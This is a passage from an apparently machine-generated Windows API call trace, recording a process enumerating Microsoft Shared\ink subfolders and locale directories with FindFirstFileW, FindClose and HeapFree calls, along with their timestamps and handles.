lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.606] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.607] GetProcessHeap () returned 0x550000 [0195.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.608] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.608] GetProcessHeap () returned 0x550000 [0195.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.608] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.608] GetProcessHeap () returned 0x550000 [0195.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.609] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.609] GetProcessHeap () returned 0x550000 [0195.609] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.610] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.610] GetProcessHeap () returned 0x550000 [0195.610] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.610] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.610] GetProcessHeap () returned 0x550000 [0195.610] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.611] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.611] GetProcessHeap () returned 0x550000 [0195.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.611] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.611] GetProcessHeap () returned 0x550000 [0195.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.612] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.612] GetProcessHeap () returned 0x550000 [0195.612] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.612] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.612] GetProcessHeap () returned 0x550000 [0195.612] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.613] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.613] GetProcessHeap () returned 0x550000 [0195.613] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.614] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.614] GetProcessHeap () returned 0x550000 [0195.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.614] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.616] GetProcessHeap () returned 0x550000 [0195.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.617] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.617] GetProcessHeap () returned 0x550000 [0195.617] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.617] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.617] GetProcessHeap () returned 0x550000 [0195.617] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.618] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.618] GetProcessHeap () returned 0x550000 [0195.618] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.618] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.619] GetProcessHeap () returned 0x550000 [0195.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.619] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.619] GetProcessHeap () returned 0x550000 [0195.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.620] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.620] GetProcessHeap () returned 0x550000 [0195.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.620] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.621] GetProcessHeap () returned 0x550000 [0195.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.621] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.621] GetProcessHeap () returned 0x550000 [0195.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.622] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.622] GetProcessHeap () returned 0x550000 [0195.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.622] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.623] GetProcessHeap () returned 0x550000 [0195.623] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.623] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.623] GetProcessHeap () returned 0x550000 [0195.623] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.624] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.624] GetProcessHeap () returned 0x550000 [0195.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.624] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.624] GetProcessHeap () returned 0x550000 [0195.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.625] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.625] GetProcessHeap () returned 0x550000 [0195.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.626] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.626] GetProcessHeap () returned 0x550000 [0195.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.626] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.626] GetProcessHeap () returned 0x550000 [0195.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.627] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.627] GetProcessHeap () returned 0x550000 [0195.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.627] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.628] GetProcessHeap () returned 0x550000 [0195.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, 